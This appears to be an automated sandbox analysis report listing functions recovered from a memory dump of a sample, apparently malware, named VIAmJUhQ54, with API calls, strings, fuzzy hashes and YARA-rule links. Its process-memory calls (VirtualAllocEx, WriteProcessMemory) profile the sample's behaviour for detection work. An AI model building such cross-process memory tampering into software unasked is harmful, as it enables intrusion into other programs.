Instruction ID: 6be07ab14b08d8a77002fdeda5bf39f073247c3979d12a47eacb747c7d3be7df
Opcode Fuzzy Hash: 015d7feaa5e44b18be3240e4de9c5380571ba14f9f65d31b2d2d3eec2d1e9a1c
Instruction Fuzzy Hash: 5321A435A00204EFDB10DFA4D848A9EBBE5EF89341F04C479F84AD7652DB78AD00CB60

Function 0073AF83 Relevance: 7.6, APIs: 5, Instructions: 67COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,?,00000000), ref: 0073AFE3
SelectObject.GDI32(?,00000000), ref: 0073AFF2
BeginPath.GDI32(?), ref: 0073B009
SelectObject.GDI32(?,00000000), ref: 0073B033

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: e1b0228ffc11ac2f34550f7cd3bce1d07f7c83d3766f9f71c7549090cd318005
Instruction ID: fa0e99a0691a3bcfce8ca92056416191136fd383f2a2833a27a487c2297682d7
Opcode Fuzzy Hash: e1b0228ffc11ac2f34550f7cd3bce1d07f7c83d3766f9f71c7549090cd318005
Instruction Fuzzy Hash: FD2125B0801389EFEB20DF54EC8979E3B68B718351F54C31AF5219A0A1C77D8951CF44

Function 0074217F Relevance: 7.6, APIs: 5, Instructions: 61threadCOMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 007421A9
CreateThread.KERNEL32(?,?,007422DF,00000000,?,?), ref: 007421ED
GetLastError.KERNEL32 ref: 007421F7
_free.LIBCMT ref: 00742200
__dosmaperr.LIBCMT ref: 0074220B

Part of subcall function 00747C0E: __getptd_noexit.LIBCMT ref: 00747C0E

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: CreateErrorLastThread__calloc_crt__dosmaperr__getptd_noexit_free
String ID:
API String ID: 2664167353-0
Opcode ID: 063d3839fb032f15fa8389a2e4eedd07571db0e33a4fd7bd2338b2b649e74531
Instruction ID: cf654cbfdef36e78f47607a3acf235ccb9d9788e4c1c686a86adb6751e6f1580
Opcode Fuzzy Hash: 063d3839fb032f15fa8389a2e4eedd07571db0e33a4fd7bd2338b2b649e74531
Instruction Fuzzy Hash: 69110873204346EF9B25AFA4DC45DAB3799FF41770B100429F91486142EBB9D822C6A1

Function 0075ABBB Relevance: 7.5, APIs: 5, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

GetUserObjectSecurity.USER32(?,?,?,00000000,?), ref: 0075ABD7
GetLastError.KERNEL32(?,0075A69F,?,?,?), ref: 0075ABE1
GetProcessHeap.KERNEL32(00000008,?,?,0075A69F,?,?,?), ref: 0075ABF0
HeapAlloc.KERNEL32(00000000,?,0075A69F,?,?,?), ref: 0075ABF7
GetUserObjectSecurity.USER32(?,?,00000000,?,?), ref: 0075AC0E

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: HeapObjectSecurityUser$AllocErrorLastProcess
String ID:
API String ID: 842720411-0
Opcode ID: ba7a5fe70cec4dd62454642101155190723f4f6e6d70c0c48bc20872bf7177b4
Instruction ID: b14d6d4a93658b8004564bae0aadba9c9a466ea5d80c1a67c5ff101eaa0c3af7
Opcode Fuzzy Hash: ba7a5fe70cec4dd62454642101155190723f4f6e6d70c0c48bc20872bf7177b4
Instruction Fuzzy Hash: 8C013C71200204BFDB204FA9DC48DAB3BADEFCA7957104569F946C3260DAB5DC44CBB5

Function 00767A58 Relevance: 7.5, APIs: 5, Instructions: 47sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 00767A74
QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 00767A82
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 00767A8A
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 00767A94
Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 00767AD0

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: 7caf7dc4f649c655315cdf9b6740326265ad077e5c4d1bea709b15222495fdbe
Instruction ID: 50e8242950482839222562f9565a78ef82919a07a6966ac3f3842a95168aadc8
Opcode Fuzzy Hash: 7caf7dc4f649c655315cdf9b6740326265ad077e5c4d1bea709b15222495fdbe
Instruction Fuzzy Hash: 8B011731C0461DEBCF14AFE8DC88ADDBB78FB49795F018455E903B2250EB389A51CBA5

Function 00759ABF Relevance: 7.5, APIs: 5, Instructions: 47stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32 ref: 00759ADC
ProgIDFromCLSID.OLE32(?,00000000), ref: 00759AF7
lstrcmpiW.KERNEL32(?,00000000), ref: 00759B05
CoTaskMemFree.OLE32(00000000,?,00000000), ref: 00759B15
CLSIDFromString.OLE32(?,?), ref: 00759B21

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: 00ece4a6a738b574f5c4f64eee65c59e709c02b7eb4ead331a1f34978f6949ef
Instruction ID: 61f4c74da98f6f1f1488937f6c0e916d209066b4abfa91dd4896891f196b9758
Opcode Fuzzy Hash: 00ece4a6a738b574f5c4f64eee65c59e709c02b7eb4ead331a1f34978f6949ef
Instruction Fuzzy Hash: E9012CB6600215FBEB214F54ED44ADABBADEB85752F148024FE06D2210D7B9DD44ABA0

Function 0075AA62 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 0075AA79
GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 0075AA83
GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 0075AA92
HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 0075AA99
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 0075AAAF

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: eee5a1cd3d8b61beb749ebf22e6529b7d13727b2f8bc2fb3e7303f0bc1aca26c
Instruction ID: 5dbcf9339fa580f9b8465f37856457002d479040a12882175fe97cdc0749bc17
Opcode Fuzzy Hash: eee5a1cd3d8b61beb749ebf22e6529b7d13727b2f8bc2fb3e7303f0bc1aca26c
Instruction Fuzzy Hash: 19F044712403087FEB215FA4DC89EB73B6CFF8A755F008529F942C7150D7A49C45CA61

Function 0075AAC3 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 0075AADA
GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 0075AAE4
GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 0075AAF3
HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 0075AAFA
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 0075AB10

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: c18786b75ce17a6993fc0d435a4ef6d814891f316ab6d0bf3303bc9477522b82
Instruction ID: 18163ef5ba54d64835265da12be9669a525a3d29b55c7f39098f8b48910d9798
Opcode Fuzzy Hash: c18786b75ce17a6993fc0d435a4ef6d814891f316ab6d0bf3303bc9477522b82
Instruction Fuzzy Hash: 91F044712402087FDB210FA4EC88EB73B6EFF86755F004129F942C7150D6A49C058EB1

Function 0075EC80 Relevance: 7.5, APIs: 5, Instructions: 40windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 0075EC94
GetWindowTextW.USER32(00000000,?,00000100), ref: 0075ECAB
MessageBeep.USER32(00000000), ref: 0075ECC3
KillTimer.USER32(?,0000040A), ref: 0075ECDF
EndDialog.USER32(?,00000001), ref: 0075ECF9

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: 6320b1827376fb8261748a9440c40a1715d49eaa643c83034cf40778246a9024
Instruction ID: ee84945349d9d2c7fd1fe3672cab328a8916e5aa51427f21a6195343320272ac
Opcode Fuzzy Hash: 6320b1827376fb8261748a9440c40a1715d49eaa643c83034cf40778246a9024
Instruction Fuzzy Hash: 6E01D130900714ABEB385B10DE5EBD677B8FB00706F008559B993A18E0DBF8AE88CB54

Function 0073B0AB Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 0073B0BA
StrokeAndFillPath.GDI32(?,?,0079E680,00000000,?,?,?), ref: 0073B0D6
SelectObject.GDI32(?,00000000), ref: 0073B0E9
DeleteObject.GDI32 ref: 0073B0FC
StrokePath.GDI32(?), ref: 0073B117

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: a6819d140cb51a97165d5e956b5d66b8fa0f9b4e8be374edf22ed5a643562b16
Instruction ID: 1248293b9c49306ec4068f2526182df0fb922c327ad50252111256e3f4205eb6
Opcode Fuzzy Hash: a6819d140cb51a97165d5e956b5d66b8fa0f9b4e8be374edf22ed5a643562b16
Instruction Fuzzy Hash: A5F04F70002288EFDB219F65EC4E7993F64A785362F88C314F566884F1CB3D8A66DF18

Function 0076F23D Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 277comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0076F2DA
CoCreateInstance.OLE32(007ADA7C,00000000,00000001,007AD8EC,?), ref: 0076F2F2
CoUninitialize.OLE32 ref: 0076F555

Strings

.lnk, xrefs: 0076F28B, 0076F290, 0076F29E

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize
String ID: .lnk
API String ID: 948891078-24824748
Opcode ID: 4e62be378d7976ab2da010e6f899f831813d6321587abbd2fb10f67d206f2187
Instruction ID: 369e643bfa307b833c52f23688171bcbf898fc093d265740c478d555eae5a10a
Opcode Fuzzy Hash: 4e62be378d7976ab2da010e6f899f831813d6321587abbd2fb10f67d206f2187
Instruction Fuzzy Hash: 9BA13AB2104301AFD701EF64D889EAFB7E8EF98314F00495DF55697192EB74EA09CB62

Function 0076E7DD Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 261comCOMMON

Download Yara Rule

APIs

Part of subcall function 0072660F: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,007253B1,?,?,007261FF,?,00000000,00000001,00000000), ref: 0072662F

CoInitialize.OLE32(00000000), ref: 0076E85D
CoCreateInstance.OLE32(007ADA7C,00000000,00000001,007AD8EC,?), ref: 0076E876
CoUninitialize.OLE32 ref: 0076E893

Part of subcall function 0072936C: __swprintf.LIBCMT ref: 007293AB
Part of subcall function 0072936C: __itow.LIBCMT ref: 007293DF

Strings

.lnk, xrefs: 0076E83B, 0076E84D

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: CreateFullInitializeInstanceNamePathUninitialize__itow__swprintf
String ID: .lnk
API String ID: 2126378814-24824748
Opcode ID: b0c440cce6e89df565dbe2a23efe53fda24a016afc785c9bfc3abada03823824
Instruction ID: aeeab9500292c6c0171ad998343c3fdff3aa7390f37829da096d7b2152a878bb
Opcode Fuzzy Hash: b0c440cce6e89df565dbe2a23efe53fda24a016afc785c9bfc3abada03823824
Instruction Fuzzy Hash: 4FA14675604311DFCB14DF14C48892ABBE5FF89310F158948F99A9B3A2CB39EC45CB92

Function 0074325D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 180COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 007432ED

Part of subcall function 0074E0D0: __87except.LIBCMT ref: 0074E10B

Strings

pow, xrefs: 007432C5, 007432E2

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: ErrorHandling__87except__start
String ID: pow
API String ID: 2905807303-2276729525
Opcode ID: 72230d9a6a1b4724591b74316b56849b0927111559c64e989356d5f1d49a1d58
Instruction ID: b4074cdaba2871552994b1da3c51908897f9bea8070151ce04d51f0c70893224
Opcode Fuzzy Hash: 72230d9a6a1b4724591b74316b56849b0927111559c64e989356d5f1d49a1d58
Instruction Fuzzy Hash: FB515A31A09206D7CB157B14C94577A3B94BB40730F348E28F4EE861E9EFBC8DC49A46

Function 00764606 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 122COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(0000000C,00000016,00000016,00000000,00000000,?,00000000,007BDC50,?,0000000F,0000000C,00000016,007BDC50,?), ref: 00764645

Part of subcall function 0072936C: __swprintf.LIBCMT ref: 007293AB
Part of subcall function 0072936C: __itow.LIBCMT ref: 007293DF

CharUpperBuffW.USER32(?,?,00000000,?), ref: 007646C5

Strings

THIS, xrefs: 00764703
REMOVE, xrefs: 00764676

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: BuffCharUpper$__itow__swprintf
String ID: REMOVE$THIS
API String ID: 3797816924-776492005
Opcode ID: 51210ab113062afc56bc3ca11ced6a1230dba55573b2d4ca3d215336b0b5e05c
Instruction ID: 94575a1535bf5f91ad3120936da840a3da5c6743941c59520d0c7468edd5eb1a
Opcode Fuzzy Hash: 51210ab113062afc56bc3ca11ced6a1230dba55573b2d4ca3d215336b0b5e05c
Instruction Fuzzy Hash: FF416E74A00219DFCF05EFA4C885AAEB7B5FF49304F148469E917AB2A2DB38DD45CB50

Function 0075C189 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 121windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0076430B: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,0075BC08,?,?,00000034,00000800,?,00000034), ref: 00764335

SendMessageW.USER32(?,00001104,00000000,00000000), ref: 0075C1D3

Part of subcall function 007642D6: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,0075BC37,?,?,00000800,?,00001073,00000000,?,?), ref: 00764300

Part of subcall function 0076422F: GetWindowThreadProcessId.USER32(?,?), ref: 0076425A
Part of subcall function 0076422F: OpenProcess.KERNEL32(00000438,00000000,?,?,?,0075BBCC,00000034,?,?,00001004,00000000,00000000), ref: 0076426A
Part of subcall function 0076422F: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,0075BBCC,00000034,?,?,00001004,00000000,00000000), ref: 00764280

SendMessageW.USER32(?,00001111,00000000,00000000), ref: 0075C240
SendMessageW.USER32(?,00001111,00000000,00000000), ref: 0075C28D

Strings

@, xrefs: 0075C2A5

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: 746218edad501558f9056cb78904eb17a5a82c97b746603207a9d9a99261b297
Instruction ID: e1b493f450509968d6adfd5caa19e8bf2e071adad9971961e1805aeff03adac6
Opcode Fuzzy Hash: 746218edad501558f9056cb78904eb17a5a82c97b746603207a9d9a99261b297
Instruction Fuzzy Hash: 34413972900218BFDB11DFA4CC85AEEB7B8BF09700F104095FA46B7181DA75AE89CB61

Function 0078A63F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 110COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,007BDC00,00000000,?,?,?,?), ref: 0078A6D8
GetWindowLongW.USER32 ref: 0078A6F5
SetWindowLongW.USER32(?,000000F0,00000000), ref: 0078A705

Strings

SysTreeView32, xrefs: 0078A6AA

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Window$Long
String ID: SysTreeView32
API String ID: 847901565-1698111956
Opcode ID: ddcf0751564fddb12a6e555b378975e4a2867a782ef5f0a509fedf149f760dd6
Instruction ID: 15aed149079146d1b588907570e8e9a28901a344004ea1e5d49f9994df5a6e66
Opcode Fuzzy Hash: ddcf0751564fddb12a6e555b378975e4a2867a782ef5f0a509fedf149f760dd6
Instruction Fuzzy Hash: 2D31DE31241206BFEB219E38CC45BEA7BA9FB49324F244326F875932E1D738AC509B50

Function 00775180 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 96networkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00775190
InternetCrackUrlW.WININET(?,00000000,00000000,?), ref: 007751C6

Strings

Dw, xrefs: 0077522E
|, xrefs: 007751B5

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: CrackInternet_memset
String ID: |$Dw
API String ID: 1413715105-1392389918
Opcode ID: da144bd75579d3c237ec460a1d69d19a87c5a6f5ed42c0ce030dad9f11d3a42e
Instruction ID: 8dfc1620758ed591049d228612bf65708df9ccff73b2491379454f1f0f2e4f54
Opcode Fuzzy Hash: da144bd75579d3c237ec460a1d69d19a87c5a6f5ed42c0ce030dad9f11d3a42e
Instruction Fuzzy Hash: FD315B71C00119EBCF11EFA4DC85AEE7FB9FF14750F004025F915A6166EB75A906CBA0

Function 0078A0D6 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 89windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001009,00000000,?), ref: 0078A15E
SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 0078A172
SendMessageW.USER32(?,00001002,00000000,?), ref: 0078A196

Strings

SysMonthCal32, xrefs: 0078A129

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
